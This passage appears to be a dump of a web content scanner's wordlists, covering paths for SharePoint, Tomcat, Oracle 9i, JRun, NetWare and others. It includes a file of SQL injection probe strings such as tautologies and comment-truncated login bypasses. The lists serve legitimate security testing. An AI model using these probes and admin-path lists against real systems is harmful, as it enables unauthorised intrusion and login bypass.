    "content": "?Publisher\n?wp-cs-dump\n?wp-html-rend\n?wp-start-ver\n?wp-stop-ver\n?wp-uncheckout\n?wp-usr-prop\n?wp-ver-diff\n?wp-ver-info\n?wp-verify-link\nadmin-serv\nadmin-serv/config/admpw\nadmpw\nagents\nbin\nca\nca\ncgi-bin\nconfig\ndirb_random.cgi\ndirb_random.jsp\ndirb_random.shtml\ndocs\ndsgw\nhelp\nindex.html\njsp\nmanual\nmc-icons\nnetshare\nns-icons\npublisher\nsearch\nsearch-ui\nservlet\nservlets\n"
  },
  {
    "path": "wordlist/vulns/jrun.txt",
    "content": "SmarTicketApp/index.html\nWEB-INF/webapp.properties\nWEB-INF/web.xml\ncompass/logon.jsp\ndatabasenotes.html\nflash/java/javabean/FlashJavaBean.html\njrunscripts\njstl-war/index.html\ntechniques/servlets/index.html\ntravelnet/home.jsp\nworldmusic/action/cdlist\nworldmusic/action/catalog\nws-client/loanCalculation.jsp\n"
  },
  {
    "path": "wordlist/vulns/netware.txt",
    "content": "ICHAINErrors\nICSLogin\nICHAINLogout\nICSIBroker\nNetStorage\niManager\neMFrame\noneNet\nICHAIN\nICS\nNSearch\nSearchServlet\nsite\nhome.html\niFolder\nupdate\nwebacc\nnps\n"
  },
  {
    "path": "wordlist/vulns/oracle9i.txt",
    "content": "CookieExample\nCounter\nDateServlet\nHelloWorldServlet\nRequestParamExample\nSessionExample\nSessionServlet\nSimpleServlet\nSnoopServlet\nbasic\ncal\ncgi-bin\necho\nexamples\nfcgi-bin\nhellouser\nhellouser.jsp\nj2ee\njsp\nlogin.html\nojspdemos\nperl\nprintenv\nservlet\nsimple\nsnoop.jsp\nsnp\nusebean.jsp\nwelcomeuser.jsp\n"
  },
  {
    "path": "wordlist/vulns/sharepoint.txt",
    "content": "1033\r\n3082\r\n50\r\n60\r\nAVREPORT.HTM\r\nAccessDeniedPage.aspx\r\nAclInv.aspx\r\nAclVer.aspx\r\nAlertDirectory.aspx\r\nAlertsAdmin.aspx\r\nAlertsError.aspx\r\nApplyRegionalSettings.aspx\r\nAreaService.asmx\r\nAreaServicedisco.aspx\r\nAreaServicewsdl.aspx\r\nAssociatePortal.aspx\r\nAudience_Chooser.aspx\r\nAudience_Chooser2.aspx\r\nAudience_DefRuleEdit.aspx\r\nAudience_Edit.aspx\r\nAudience_List.aspx\r\nAudience_Main.aspx\r\nAudience_MemberList.aspx\r\nAudience_Sched.aspx\r\nAudience_View.aspx\r\nBIN\r\nBPSTD.JS\r\nCSPP1.aspx\r\nCSPP2.aspx\r\nCTP.JS\r\nCVTP.JS\r\nCatMan.aspx\r\nCatPP1.aspx\r\nCategoryPickerPopUp.aspx\r\nChooseCS.aspx\r\nConfirmAdvancedMode.aspx\r\nConfirmAlert.aspx\r\nConnGps.aspx\r\nCreateMySite.aspx\r\nDWS.asmx\r\nDWSdisco.aspx\r\nDWSwsdl.aspx\r\nDefault.aspx\r\nDeleteMu.aspx\r\nDiscBar.aspx\r\nDisplayMappings.aspx\r\nDmWorkspaceMgmt.aspx\r\nDspSts.asmx\r\nDspStsdisco.aspx\r\nDspStswsdl.aspx\r\nERROR.HTM\r\nEditAlert.aspx\r\nEditDSServer.aspx\r\nEditDisplayMapping.aspx\r\nEditProfile.aspx\r\nEditProperty.aspx\r\nEditSearchSchedule.aspx\r\nEditSearchSettings.aspx\r\nEditSection.aspx\r\nFILEDLG.HTM\r\nFONTDLG.HTM\r\nFarmTopologyView.aspx\r\nFileTypes.aspx\r\nFldEdit.aspx\r\nFldNew.aspx\r\nForms.asmx\r\nFormsdisco.aspx\r\nFormswsdl.aspx\r\nGlobal.asax\r\nGrpMan.aspx\r\nHELP\r\nHelp.aspx\r\nHierarchyMan.ascx\r\nHtmlTranslate.aspx\r\nIE50UP.JS\r\nIE55UP.JS\r\nIFRAME.HTM\r\nIMGLIB.JS\r\nINSTABLE.HTM\r\nITP.JS\r\nImaging.asmx\r\nImagingdisco.aspx\r\nImagingwsdl.aspx\r\nImportData.aspx\r\nKeywordBBMan.aspx\r\nLROperationStatus.aspx\r\nListContentSources.aspx\r\nListIndexes.aspx\r\nListSearchSchedules.aspx\r\nListSearchScopes.aspx\r\nLists.asmx\r\nListsdisco.aspx\r\nListswsdl.aspx\r\nLogSummary.aspx\r\nLogViewer.aspx\r\nLstMan.aspx\r\nLstMan2.aspx\r\nMENU.HTC\r\nMENU.JS\r\nMENUBAR.HTC\r\nMSSTRING.JS\r\nMapProperty.aspx\r\nMeetings.asmx\r\nMeetingsdisco.aspx\r\nMeetingswsdl.aspx\r\nMgrDSServer.aspx\r\nMgrProperty.aspx\r\nMicrosoft.SharePoint.Portal.Admin.Search.dll\r\nMicrosoft.SharePoint.Portal.Admin.Search.xml\r\nMicrosoft.SharePoint.Portal.SingleSignon.Security.dll\r\nMicrosoft.SharePoint.Portal.SingleSignon.dll\r\nMicrosoft.SharePoint.Portal.SingleSignon.xml\r\nMicrosoft.SharePoint.Portal.dll\r\nMicrosoft.SharePoint.Portal.xml\r\nMicrosoft.SharePoint.dll\r\nMicrosoft.SharePoint.xml\r\nMyAlerts.aspx\r\nMyQuicklinks.aspx\r\nMySiteHeader.aspx\r\nMySubs.aspx\r\nNON_IE.JS\r\nNewAlert.aspx\r\nNewAlertFromSTS.aspx\r\nNewCatalog.aspx\r\nNewDisplayMapping.aspx\r\nNewDwp.aspx\r\nNewFileType.aspx\r\nNewSiteRule.aspx\r\nNotesEdit.aspx\r\nNotesWizard1.aspx\r\nNotesWizard2.aspx\r\nNotesWizard3.aspx\r\nNotesWizard4.aspx\r\nOWSBROWS.JS\r\nOWSSVR.DLL\r\nOutlookAdapter.asmx\r\nOutlookAdapterdisco.aspx\r\nOutlookAdapterwsdl.aspx\r\nPermissions.asmx\r\nPermissionsdisco.aspx\r\nPermissionswsdl.aspx\r\nPersonalSites.aspx\r\nPickerContainer.aspx\r\nPortal.aspx\r\nPortalApi.aspx\r\nPortalCreateSuccess.aspx\r\nPortalHeader.aspx\r\nPortalList.aspx\r\nPortalProperties.aspx\r\nPortalSettings.aspx\r\nProfAdminEdit.aspx\r\nProfMain.aspx\r\nProfMngr.aspx\r\nProfNew.aspx\r\nPropertyProperties.aspx\r\nProxy.aspx\r\nQuicklinks.aspx\r\nSELCOLOR.HTM\r\nSHTML.DLL\r\nSPDisco.aspx\r\nSPS\r\nSPS/Default.aspx\r\nSPS/FarmTopologyView.aspx\r\nSPS/PortalCreateSuccess.aspx\r\nSPS/PortalList.aspx\r\nSPSCrawl.asmx\r\nSPSCrawldisco.aspx\r\nSPSCrawlwsdl.aspx\r\nSPSOfficeDialog.js\r\nSPTHEMES.XML\r\nSPTHEMES.XSD\r\nSRMan.aspx\r\nSSOCLI.DLL\r\nSearchScope.aspx\r\nSearchSettings.aspx\r\nSelectUser.aspx\r\nSetImport.aspx\r\nSiteData.asmx\r\nSiteDataDisco.aspx\r\nSiteDataWsdl.aspx\r\nSiteList.aspx\r\nSiteOperationRefuse.aspx\r\nSitePP1.aspx\r\nSiteSubs.aspx\r\nStorMan.aspx\r\nSubChoos.aspx\r\nSubEdit.aspx\r\nSubNew.aspx\r\nSurvEdit.aspx\r\nUrlTranslate.aspx\r\nUser.aspx\r\nUserGroup.asmx\r\nUserGroupdisco.aspx\r\nUserGroupwsdl.aspx\r\nUserPicker.aspx\r\nUserProfileService.asmx\r\nUserProfileServicedisco.aspx\r\nUserProfileServicewsdl.aspx\r\nVSList.aspx\r\nVSSettings.aspx\r\nViews.asmx\r\nViewsdisco.aspx\r\nViewswsdl.aspx\r\nWPPrevw.aspx\r\nWebAdmin.aspx\r\nWebPerm.aspx\r\nWebs.asmx\r\nWebsdisco.aspx\r\nWebswsdl.aspx\r\nXTP.JS\r\n_VTI_ADM\r\n_VTI_AUT\r\n_layouts\r\n_layouts/1033\r\n_layouts/1033/AVREPORT.HTM\r\n_layouts/1033/AccessDeniedPage.aspx\r\n_layouts/1033/AclInv.aspx\r\n_layouts/1033/AclVer.aspx\r\n_layouts/1033/AlertDirectory.aspx\r\n_layouts/1033/AlertsAdmin.aspx\r\n_layouts/1033/AlertsError.aspx\r\n_layouts/1033/ApplyRegionalSettings.aspx\r\n_layouts/1033/AssociatePortal.aspx\r\n_layouts/1033/Audience_Chooser.aspx\r\n_layouts/1033/Audience_Chooser2.aspx\r\n_layouts/1033/Audience_DefRuleEdit.aspx\r\n_layouts/1033/Audience_Edit.aspx\r\n_layouts/1033/Audience_List.aspx\r\n_layouts/1033/Audience_Main.aspx\r\n_layouts/1033/Audience_MemberList.aspx\r\n_layouts/1033/Audience_Sched.aspx\r\n_layouts/1033/Audience_View.aspx\r\n_layouts/1033/BIN\r\n_layouts/1033/BPSTD.JS\r\n_layouts/1033/CSPP1.aspx\r\n_layouts/1033/CSPP2.aspx\r\n_layouts/1033/CTP.JS\r\n_layouts/1033/CVTP.JS\r\n_layouts/1033/CatMan.aspx\r\n_layouts/1033/CatPP1.aspx\r\n_layouts/1033/CategoryPickerPopUp.aspx\r\n_layouts/1033/ChooseCS.aspx\r\n_layouts/1033/ConfirmAdvancedMode.aspx\r\n_layouts/1033/ConfirmAlert.aspx\r\n_layouts/1033/ConnGps.aspx\r\n_layouts/1033/CreateMySite.aspx\r\n_layouts/1033/Default.aspx\r\n_layouts/1033/Default.aspx \r\n_layouts/1033/DeleteMu.aspx\r\n_layouts/1033/DiscBar.aspx\r\n_layouts/1033/DisplayMappings.aspx\r\n_layouts/1033/DmWorkspaceMgmt.aspx\r\n_layouts/1033/ERROR.HTM\r\n_layouts/1033/EditAlert.aspx\r\n_layouts/1033/EditDSServer.aspx\r\n_layouts/1033/EditDisplayMapping.aspx\r\n_layouts/1033/EditProfile.aspx\r\n_layouts/1033/EditProperty.aspx\r\n_layouts/1033/EditSearchSchedule.aspx\r\n_layouts/1033/EditSearchSettings.aspx\r\n_layouts/1033/EditSection.aspx\r\n_layouts/1033/FILEDLG.HTM\r\n_layouts/1033/FONTDLG.HTM\r\n_layouts/1033/FileTypes.aspx\r\n_layouts/1033/FldEdit.aspx\r\n_layouts/1033/FldNew.aspx\r\n_layouts/1033/Global.asax\r\n_layouts/1033/GrpMan.aspx\r\n_layouts/1033/Help.aspx\r\n_layouts/1033/HierarchyMan.ascx\r\n_layouts/1033/HtmlTranslate.aspx\r\n_layouts/1033/IE50UP.JS\r\n_layouts/1033/IE55UP.JS\r\n_layouts/1033/IFRAME.HTM\r\n_layouts/1033/IMGLIB.JS\r\n_layouts/1033/INSTABLE.HTM\r\n_layouts/1033/ITP.JS\r\n_layouts/1033/ImportData.aspx\r\n_layouts/1033/KeywordBBMan.aspx\r\n_layouts/1033/LROperationStatus.aspx\r\n_layouts/1033/ListContentSources.aspx\r\n_layouts/1033/ListIndexes.aspx\r\n_layouts/1033/ListSearchSchedules.aspx\r\n_layouts/1033/ListSearchScopes.aspx\r\n_layouts/1033/LogSummary.aspx\r\n_layouts/1033/LogViewer.aspx\r\n_layouts/1033/LstMan.aspx\r\n_layouts/1033/LstMan2.aspx\r\n_layouts/1033/MENU.HTC\r\n_layouts/1033/MENU.JS\r\n_layouts/1033/MENUBAR.HTC\r\n_layouts/1033/MSSTRING.JS\r\n_layouts/1033/MapProperty.aspx\r\n_layouts/1033/MgrDSServer.aspx\r\n_layouts/1033/MgrProperty.aspx\r\n_layouts/1033/MyAlerts.aspx\r\n_layouts/1033/MyQuicklinks.aspx\r\n_layouts/1033/MySiteHeader.aspx\r\n_layouts/1033/MySubs.aspx\r\n_layouts/1033/NON_IE.JS\r\n_layouts/1033/NewAlert.aspx\r\n_layouts/1033/NewAlertFromSTS.aspx\r\n_layouts/1033/NewCatalog.aspx\r\n_layouts/1033/NewDisplayMapping.aspx\r\n_layouts/1033/NewDwp.aspx\r\n_layouts/1033/NewFileType.aspx\r\n_layouts/1033/NewSiteRule.aspx\r\n_layouts/1033/NotesEdit.aspx\r\n_layouts/1033/NotesWizard1.aspx\r\n_layouts/1033/NotesWizard2.aspx\r\n_layouts/1033/NotesWizard3.aspx\r\n_layouts/1033/NotesWizard4.aspx\r\n_layouts/1033/OWSBROWS.JS\r\n_layouts/1033/PersonalSites.aspx\r\n_layouts/1033/PickerContainer.aspx\r\n_layouts/1033/Portal.aspx\r\n_layouts/1033/PortalHeader.aspx\r\n_layouts/1033/PortalProperties.aspx\r\n_layouts/1033/PortalSettings.aspx\r\n_layouts/1033/ProfAdminEdit.aspx\r\n_layouts/1033/ProfMain.aspx\r\n_layouts/1033/ProfMngr.aspx\r\n_layouts/1033/ProfNew.aspx\r\n_layouts/1033/PropertyProperties.aspx\r\n_layouts/1033/Proxy.aspx\r\n_layouts/1033/Quicklinks.aspx\r\n_layouts/1033/SELCOLOR.HTM\r\n_layouts/1033/SPSOfficeDialog.js\r\n_layouts/1033/SPTHEMES.XML\r\n_layouts/1033/SPTHEMES.XSD\r\n_layouts/1033/SRMan.aspx\r\n_layouts/1033/SearchScope.aspx\r\n_layouts/1033/SearchSettings.aspx\r\n_layouts/1033/SelectUser.aspx\r\n_layouts/1033/SetImport.aspx\r\n_layouts/1033/SiteList.aspx\r\n_layouts/1033/SiteOperationRefuse.aspx\r\n_layouts/1033/SitePP1.aspx\r\n_layouts/1033/SiteSubs.aspx\r\n_layouts/1033/StorMan.aspx\r\n_layouts/1033/SubChoos.aspx\r\n_layouts/1033/SubEdit.aspx\r\n_layouts/1033/SubNew.aspx\r\n_layouts/1033/SurvEdit.aspx\r\n_layouts/1033/UrlTranslate.aspx\r\n_layouts/1033/User.aspx\r\n_layouts/1033/UserPicker.aspx\r\n_layouts/1033/WPPrevw.aspx\r\n_layouts/1033/WebAdmin.aspx\r\n_layouts/1033/WebPerm.aspx\r\n_layouts/1033/XTP.JS\r\n_layouts/1033/addgrp1.aspx\r\n_layouts/1033/addgrp2.aspx\r\n_layouts/1033/addrole.aspx\r\n_layouts/1033/advsetng.aspx\r\n_layouts/1033/allgrps.aspx\r\n_layouts/1033/audpicker.js\r\n_layouts/1033/autocat.aspx\r\n_layouts/1033/avreport.aspx\r\n_layouts/1033/bpcf.aspx\r\n_layouts/1033/centraldatabaselock.aspx\r\n_layouts/1033/checkin.aspx\r\n_layouts/1033/commonvalidation.js\r\n_layouts/1033/confirmation.aspx\r\n_layouts/1033/copyrole.aspx\r\n_layouts/1033/create.aspx\r\n_layouts/1033/createws.aspx\r\n_layouts/1033/deleteweb.aspx\r\n_layouts/1033/dladvopt.aspx\r\n_layouts/1033/download.aspx\r\n_layouts/1033/dws.aspx\r\n_layouts/1033/editgrp.aspx\r\n_layouts/1033/editprms.aspx\r\n_layouts/1033/editrole.aspx\r\n_layouts/1033/error.aspx\r\n_layouts/1033/folders.aspx\r\n_layouts/1033/formEdt.aspx\r\n_layouts/1033/grpmbrs.aspx\r\n_layouts/1033/grpsel.aspx\r\n_layouts/1033/htmledit.aspx\r\n_layouts/1033/htmlmenus.js\r\n_layouts/1033/htmltrredir.aspx\r\n_layouts/1033/htmltrverify.aspx\r\n_layouts/1033/iframe.aspx\r\n_layouts/1033/infopage.aspx\r\n_layouts/1033/linkcreator.js\r\n_layouts/1033/listedit.aspx\r\n_layouts/1033/lstsetng.aspx\r\n_layouts/1033/mcontent.aspx\r\n_layouts/1033/mngdisc.aspx\r\n_layouts/1033/mngsubwebs.aspx\r\n_layouts/1033/mtgredir.aspx\r\n_layouts/1033/mygrps.aspx\r\n_layouts/1033/new.aspx\r\n_layouts/1033/newMWS.aspx\r\n_layouts/1033/newgrp.aspx\r\n_layouts/1033/newsbweb.aspx\r\n_layouts/1033/ows.js\r\n_layouts/1033/password.aspx\r\n_layouts/1033/portalview.aspx\r\n_layouts/1033/prjsetng.aspx\r\n_layouts/1033/progresspage.aspx\r\n_layouts/1033/properties.aspx\r\n_layouts/1033/publishback.aspx\r\n_layouts/1033/qstedit.aspx\r\n_layouts/1033/qstnew.aspx\r\n_layouts/1033/rcxform.aspx\r\n_layouts/1033/redirect.aspx\r\n_layouts/1033/regionalsetng.aspx\r\n_layouts/1033/reorder.aspx\r\n_layouts/1033/report.aspx\r\n_layouts/1033/reporthome.aspx\r\n_layouts/1033/reqacc.aspx\r\n_layouts/1033/rfcxform.aspx\r\n_layouts/1033/rfpxform.aspx\r\n_layouts/1033/role.aspx\r\n_layouts/1033/savetmpl.aspx\r\n_layouts/1033/scsignup.aspx\r\n_layouts/1033/search.js\r\n_layouts/1033/searchresults.aspx\r\n_layouts/1033/setanon.aspx\r\n_layouts/1033/setrqacc.aspx\r\n_layouts/1033/settings.aspx\r\n_layouts/1033/shropt.aspx\r\n_layouts/1033/siteusrs.aspx\r\n_layouts/1033/spaddrole.aspx\r\n_layouts/1033/spanon.aspx\r\n_layouts/1033/spcataddperm.aspx\r\n_layouts/1033/spcateditperm.aspx\r\n_layouts/1033/spcatsec.aspx\r\n_layouts/1033/spcf.aspx\r\n_layouts/1033/spcontnt.aspx\r\n_layouts/1033/speditcategory.aspx\r\n_layouts/1033/speditgroup.aspx\r\n_layouts/1033/speditlisting.aspx\r\n_layouts/1033/spmovelisting.aspx\r\n_layouts/1033/spnewcategory.aspx\r\n_layouts/1033/spnewgroup.aspx\r\n_layouts/1033/spnewlisting.aspx\r\n_layouts/1033/spsaclinv.aspx\r\n_layouts/1033/spscreate.aspx\r\n_layouts/1033/spsviewlsts.aspx\r\n_layouts/1033/spsviewtype.aspx\r\n_layouts/1033/ssologon.aspx\r\n_layouts/1033/stswebtemp.gif\r\n_layouts/1033/submitrepair.aspx\r\n_layouts/1033/subscriptions.js\r\n_layouts/1033/success.aspx\r\n_layouts/1033/templatepick.aspx\r\n_layouts/1033/themeweb.aspx\r\n_layouts/1033/toggle.js\r\n_layouts/1033/toolpane.aspx\r\n_layouts/1033/usage.aspx\r\n_layouts/1033/usagedetails.aspx\r\n_layouts/1033/useconfirmation.aspx\r\n_layouts/1033/user.aspx\r\n_layouts/1033/userdisp.aspx\r\n_layouts/1033/useredit.aspx\r\n_layouts/1033/userinfo.aspx\r\n_layouts/1033/versions.aspx\r\n_layouts/1033/viewedit.aspx\r\n_layouts/1033/viewlsts.aspx\r\n_layouts/1033/viewnew.aspx\r\n_layouts/1033/viewseclsts.aspx\r\n_layouts/1033/viewtype.aspx\r\n_layouts/1033/vsubwebs.aspx\r\n_layouts/1033/web.config\r\n_layouts/1033/webdeleted.aspx\r\n_layouts/1033/workspce.aspx\r\n_layouts/1033/wpeula.aspx\r\n_layouts/1033/zoombldr.aspx\r\n_vti_bin\r\n_vti_bin/AreaService.asmx\r\n_vti_bin/AreaServicedisco.aspx\r\n_vti_bin/AreaServicewsdl.aspx\r\n_vti_bin/DWS.asmx\r\n_vti_bin/DWSdisco.aspx\r\n_vti_bin/DWSwsdl.aspx\r\n_vti_bin/DspSts.asmx\r\n_vti_bin/DspStsdisco.aspx\r\n_vti_bin/DspStswsdl.aspx\r\n_vti_bin/Forms.asmx\r\n_vti_bin/Formsdisco.aspx\r\n_vti_bin/Formswsdl.aspx\r\n_vti_bin/Global.asax\r\n_vti_bin/Imaging.asmx\r\n_vti_bin/Imagingdisco.aspx\r\n_vti_bin/Imagingwsdl.aspx\r\n_vti_bin/Lists.asmx\r\n_vti_bin/Listsdisco.aspx\r\n_vti_bin/Listswsdl.aspx\r\n_vti_bin/Meetings.asmx\r\n_vti_bin/Meetingsdisco.aspx\r\n_vti_bin/Meetingswsdl.aspx\r\n_vti_bin/Microsoft.SharePoint.Portal.Admin.Search.dll\r\n_vti_bin/Microsoft.SharePoint.Portal.Admin.Search.xml\r\n_vti_bin/Microsoft.SharePoint.Portal.SingleSignon.Security.dll\r\n_vti_bin/Microsoft.SharePoint.Portal.SingleSignon.dll\r\n_vti_bin/Microsoft.SharePoint.Portal.SingleSignon.xml\r\n_vti_bin/Microsoft.SharePoint.Portal.dll\r\n_vti_bin/Microsoft.SharePoint.Portal.xml\r\n_vti_bin/Microsoft.SharePoint.dll\r\n_vti_bin/Microsoft.SharePoint.xml\r\n_vti_bin/OWSSVR.DLL\r\n_vti_bin/OutlookAdapter.asmx\r\n_vti_bin/OutlookAdapterdisco.aspx\r\n_vti_bin/OutlookAdapterwsdl.aspx\r\n_vti_bin/Permissions.asmx\r\n_vti_bin/Permissionsdisco.aspx\r\n_vti_bin/Permissionswsdl.aspx\r\n_vti_bin/PortalApi.aspx\r\n_vti_bin/SHTML.DLL\r\n_vti_bin/SPDisco.aspx\r\n_vti_bin/SPSCrawl.asmx\r\n_vti_bin/SPSCrawldisco.aspx\r\n_vti_bin/SPSCrawlwsdl.aspx\r\n_vti_bin/SSOCLI.DLL\r\n_vti_bin/SiteData.asmx\r\n_vti_bin/SiteDataDisco.aspx\r\n_vti_bin/SiteDataWsdl.aspx\r\n_vti_bin/UserGroup.asmx\r\n_vti_bin/UserGroupdisco.aspx\r\n_vti_bin/UserGroupwsdl.aspx\r\n_vti_bin/UserProfileService.asmx\r\n_vti_bin/UserProfileServicedisco.aspx\r\n_vti_bin/UserProfileServicewsdl.aspx\r\n_vti_bin/Views.asmx\r\n_vti_bin/Viewsdisco.aspx\r\n_vti_bin/Viewswsdl.aspx\r\n_vti_bin/Webs.asmx\r\n_vti_bin/Websdisco.aspx\r\n_vti_bin/Webswsdl.aspx\r\n_vti_bin/_vti_adm/admin.dll\r\n_vti_bin/_vti_aut/author.dll\r\n_vti_bin/alerts.asmx\r\n_vti_bin/alertsdisco.aspx\r\n_vti_bin/alertswsdl.aspx\r\n_vti_bin/exportwp.aspx\r\n_vti_bin/expurlwp.aspx\r\n_vti_bin/search.asmx\r\n_vti_bin/searchdisco.aspx\r\n_vti_bin/searchwsdl.aspx\r\n_vti_bin/shtml.dll\r\n_vti_bin/sites.asmx\r\n_vti_bin/sitesdisco.aspx\r\n_vti_bin/siteswsdl.aspx\r\n_vti_bin/spdisco.aspx\r\n_vti_bin/versions.asmx\r\n_vti_bin/versionsdisco.aspx\r\n_vti_bin/versionswsdl.aspx\r\n_vti_bin/web.config\r\n_vti_bin/webpartpages.asmx\r\n_vti_bin/webpartpagesdisco.aspx\r\n_vti_bin/webpartpageswsdl.aspx\r\n_vti_bin/wsdisco.aspx\r\n_vti_bin/wswsdl.aspx\r\naddgrp1.aspx\r\naddgrp2.aspx\r\naddrole.aspx\r\nadmin.dll\r\nadvsetng.aspx\r\nalerts.asmx\r\nalertsdisco.aspx\r\nalertswsdl.aspx\r\nallgrps.aspx\r\naudpicker.js\r\nauthor.dll\r\nautocat.aspx\r\navreport.aspx\r\nbpcf.aspx\r\ncentraldatabaselock.aspx\r\ncheckin.aspx\r\ncommonvalidation.js\r\nconfirmation.aspx\r\ncopyrole.aspx\r\ncreate.aspx\r\ncreatews.aspx\r\ndefault.aspx\r\ndeleteweb.aspx\r\ndladvopt.aspx\r\ndownload.aspx\r\ndws.aspx\r\neditgrp.aspx\r\neditprms.aspx\r\neditrole.aspx\r\nerror.aspx\r\nexportwp.aspx\r\nexpurlwp.aspx\r\nfolders.aspx\r\nformEdt.aspx\r\ngrpmbrs.aspx\r\ngrpsel.aspx\r\nhtmledit.aspx\r\nhtmlmenus.js\r\nhtmltrredir.aspx\r\nhtmltrverify.aspx\r\niframe.aspx\r\ninfopage.aspx\r\nlinkcreator.js\r\nlistedit.aspx\r\nlstsetng.aspx\r\nmcontent.aspx\r\nmngdisc.aspx\r\nmngsubwebs.aspx\r\nmtgredir.aspx\r\nmygrps.aspx\r\nnew.aspx\r\nnewMWS.aspx\r\nnewgrp.aspx\r\nnewsbweb.aspx\r\nowners.aspx\r\nows.js\r\npassword.aspx\r\nportalview.aspx\r\nprjsetng.aspx\r\nprogresspage.aspx\r\nproperties.aspx\r\npublishback.aspx\r\nqstedit.aspx\r\nqstnew.aspx\r\nrcxform.aspx\r\nredirect.aspx\r\nregionalsetng.aspx\r\nreorder.aspx\r\nreport.aspx\r\nreporthome.aspx\r\nreqacc.aspx\r\nrfcxform.aspx\r\nrfpxform.aspx\r\nrole.aspx\r\nsavetmpl.aspx\r\nscsignup.aspx\r\nsearch.asmx\r\nsearch.js\r\nsearchdisco.aspx\r\nsearchresults.aspx\r\nsearchwsdl.aspx\r\nsetanon.aspx\r\nsetrqacc.aspx\r\nsettings.aspx\r\nshropt.aspx\r\nsites.asmx\r\nsitesdisco.aspx\r\nsiteswsdl.aspx\r\nsiteusrs.aspx\r\nspaddrole.aspx\r\nspanon.aspx\r\nspcataddperm.aspx\r\nspcateditperm.aspx\r\nspcatsec.aspx\r\nspcf.aspx\r\nspcontnt.aspx\r\nspeditcategory.aspx\r\nspeditgroup.aspx\r\nspeditlisting.aspx\r\nspmovelisting.aspx\r\nspnewcategory.aspx\r\nspnewgroup.aspx\r\nspnewlisting.aspx\r\nsps\r\nspsaclinv.aspx\r\nspscreate.aspx\r\nspsviewlsts.aspx\r\nspsviewtype.aspx\r\nssologon.aspx\r\nstswebtemp.gif\r\nsubmitrepair.aspx\r\nsubscriptions.js\r\nsuccess.aspx\r\ntemplatepick.aspx\r\nthemeweb.aspx\r\ntoggle.js\r\ntoolpane.aspx\r\nusage.aspx\r\nusagedetails.aspx\r\nuseconfirmation.aspx\r\nuser.aspx\r\nuserdisp.aspx\r\nuseredit.aspx\r\nuserinfo.aspx\r\nversions.asmx\r\nversions.aspx\r\nversionsdisco.aspx\r\nversionswsdl.aspx\r\nviewedit.aspx\r\nviewlsts.aspx\r\nviewnew.aspx\r\nviewseclsts.aspx\r\nviewtype.aspx\r\nvsubwebs.aspx\r\nweb.config\r\nwebdeleted.aspx\r\nwebpartpages.asmx\r\nwebpartpagesdisco.aspx\r\nwebpartpageswsdl.aspx\r\nwebusers.aspx\r\nwfelist.aspx\r\nworkspce.aspx\r\nwpeula.aspx\r\nwsdisco.aspx\r\nwswsdl.aspx\r\nzoombldr.aspx\r\n"
  },
  {
    "path": "wordlist/vulns/sql_inj.txt",
    "content": "'\n--ora_sqls\n#mysql\n'#mysql\n and 1=1\n and USER=USER\n and user()=user()\n and 2=0\n or 2=2\n' and '2'='2\n' and '2'='0\n' or '2'='2\n/*ora_mysql*/and/**/2=2\n/*ora_mysql*/and/**/2=0\n'/*ora_mysql*/and/**/'2'='2\n'/*ora_mysql*/and/**/'2'='0\n'/*ora_mysql*/or/**/'2'='2\n and 2=2#mysql\n and 2=0#mysql\n and 2=2-- oracle_mysql\n and 2=0-- oracle_mysql\n' and '2'='2'#mysql\n' and '2'='0'#mysql\n' and '2'='2'-- oracle\n' and '2'='0'-- oracle\n999999999999999999\n1e100\n2 or 2=2\n2' or '2'='2\norder by 1--\nadmin'--\nadmin'\n'test\n'test--\n' or 1=1--\nor 1=1--\nor 1=1\nor 1=1#\n\" or 1=1#\nadmin'#\nnow()\n\n"
  },
  {
    "path": "wordlist/vulns/sunas.txt",
    "content": "ias-samples\r\nias-samples/index.html\r\nindex.html\r\ncgi-bin\r\ncgi-bin/gx.cgi\r\ncgi-bin/gx.dll\r\ncgi-bin/gx.exe\r\ngx\r\ngx.cgi\r\ngx.exe\r\nGXApp\r\nGXApp/index.html\r\nGXApp/COnlineBank\r\nGXApp/COnlineBank/COBLogin.html\r\nGXApp/CSample\r\nGXApp/CSample/index.html\r\nGXApp/images\r\nGXApp/OnlineBank\r\nGXApp/OnlineBank/OBLogin.html\r\nfortune\r\nNASApp/fortune/fortune\r\nlotery\r\nCOnlineBank\r\nCSample\r\nOnlineBank\r\nNASApp\r\nNASApp/system\r\nNASApp/system/ValidationError.jsp\r\nNASApp/system/ExceptionThrown.jsp\r\nNASApp/system/JSPRunner\r\nNASApp/system/JSPRunnerSticky\r\nNASApp/system/SessionInvalidator\r\nNASApp/system/StaticServlet\r\nNASApp/system/WelcomeListServlet\r\nNASApp/system/FormAuthServlet\r\nNASApp/system/CertAuthServlet\r\nNASApp/system/BasicAuthServlet\r\nsystem\r\nValidationError.jsp\r\nExceptionThrown.jsp\r\nJSPRunner\r\nJSPRunnerSticky\r\nSessionInvalidator\r\nStaticServlet\r\nWelcomeListServlet\r\nFormAuthServlet\r\nCertAuthServlet\r\nBasicAuthServlet\r\ncom.netscape.server.servlet.jsp.JSPRunner\r\nservlet\r\nclasses\r\n\r\n"
  },
  {
    "path": "wordlist/vulns/tests.txt",
    "content": "test\ntest1\ntest2\ntest00\ntest01\ntests\ntesting\ntst\ntsts\nprobando\nprueba\nprueba1\nprueba2\nprueba00\nprueba01\npruebas\nprova\nprova1\nprova2\nprovas\nTEST\nTESTS\nTest\nTests\ntester\nPruebas\nPRUEBA\nPRUEBAS\nProva\nProvas\ndemo\nDEMO\nDemo\n\n"
  },
  {
    "path": "wordlist/vulns/tomcat.txt",
    "content": "examples\r\nexamples/jsp/index.html\r\nexamples/servlets/index.html\r\nexamples/servlet/HelloWorldExample\r\nexamples/servlet/org.apache.catalina.INVOKER.HelloWorldExample\r\nexamples/servlet/snoop\r\nexamples/servlet/SnoopServlet\r\nexamples/servlet/org.apache.catalina.INVOKER.SnoopServlet\r\nexamples/servlet/TroubleShooter\r\nexamples/servlet/org.apache.catalina.INVOKER.TroubleShooter\r\nexamples/jsp/snp/snoop.jsp\r\nexamples/jsp/source.jsp\r\nservlet/default/\r\nservlet/org.apache.catalina.servlets.DefaultServlet/\r\nexamples/servlet/default/jsp/snp/snoop.jsp\r\nexamples/servlet/default/jsp/source.jsp\r\nexamples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/snp/snoop.jsp\r\nexamples/servlet/org.apache.catalina.servlets.DefaultServlet/jsp/source.jsp\r\nmanager\r\ntomcat-docs\r\nwebdav\r\nwebdav/index.html\r\nwebdav/servlet/webdav/\r\nwebdav/servlet/org.apache.catalina.servlets.WebdavServlet/\r\nservlet/org.apache.catalina.servlets.WebdavServlet/\r\nservlet/org.apache.catalina.INVOKER.org.a